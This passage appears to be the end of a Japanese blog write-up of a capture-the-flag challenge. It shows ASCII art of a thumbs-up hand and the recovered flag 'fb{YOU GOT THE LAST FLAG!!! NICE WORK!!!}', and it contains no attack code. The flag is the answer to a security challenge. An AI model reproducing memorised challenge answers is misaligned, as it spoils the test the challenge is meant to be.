MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXdccckWWWWWNNNKdcckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWOlccoKWWWWNNNNXxccxNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNOlcco0WWWWNNNNNKdcckWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNklcox0WWWWNNNNNNOlcl0WMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMXxccdKNWWWWNNNNNNXkccdXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKdccxXWWWWWNNNNNNNKdcckNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0oclkNWWWWNNNNNNNNNOlclOXNNNNNNNNNNNNNNNNNNNWWMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNklcoONWWWWWNNNNNNNNXxccclooooooooooooooooooooodk0XWMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKdccdKWWWWWWWWNNNNNNNXOxxxxxxxxxxxxxxxddddddddddoccoONMMMMMMM
MMMMMMMWXKKKKKKKKKKKKKKKKKKKKKKKKKKKXKklclkXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXKOoclOWMMMMMM
MMMMMMXklcccccccccccccccccccccccccccllcld0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNXxccxNMMMMMM
MMMMMM0lcclllllllllllllllllllllllccclokKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNXOlclOWMMMMMM
MMMMMMKoccodddddddddddddddddddddlcclOXWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNKOdlclkXWMMMMMM
MMMMMMXoccodooooooooooooooooooddlccdKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXOoccoONWMMMMMMM
MMMMMMXdccldooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNOl:oKMMMMMMMMM
MMMMMMNxccldooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNNOlcoKMMMMMMMMM
MMMMMMWkccloooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXOoccxNMMMMMMMMM
MMMMMMWOlclodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNXkocclkXWMMMMMMMMM
MMMMMMM0lccodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXklccxNWMMMMMMMMMM
MMMMMMMKoccodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNXxccxNMMMMMMMMMMM
MMMMMMMXdccodoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNNN0oclkNMMMMMMMMMMM
MMMMMMMNxccldoooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNX0klclxXWMMMMMMMMMMM
MMMMMMMWkcclooooooooooooooooooodlccdKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNN0occlkXWMMMMMMMMMMMM
MMMMMMMWOlclooooooooooooooooooodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNXOlco0WMMMMMMMMMMMMM
MMMMMMMM0lclodooooooooooxO00koodlccoKNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNN0ocl0WMMMMMMMMMMMMM
MMMMMMMMKoccodooooooooooONNNKxodlcclxO0KNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNNNNNNNNX0dccxXMMMMMMMMMMMMMM
MMMMMMMMXdccodooooooooooxO00koodlcccccclok0KXXXXXXXXXXXXXXXXXXXXXXXXXKKKKKKK00kdlclxKWMMMMMMMMMMMMMM
MMMMMMMMNxccldooooooooooooooooodlcccccodoccllllllllllllllllllllllllllllllllllcclox0NWMMMMMMMMMMMMMMM
MMMMMMMMWkccclllllllllllllllllllccccclONXKOkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkOKXWWMMMMMMMMMMMMMMMMM
MMMMMMMMMN0xddddddddddddddddddddddddxONWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMWWWWWWWWWWWWWWWWWWWWWWWWWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
fb{YOU GOT THE LAST FLAG!!! NICE WORK!!!}

フラグが得られました。

fb{YOU GOT THE LAST FLAG!!! NICE WORK!!!}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳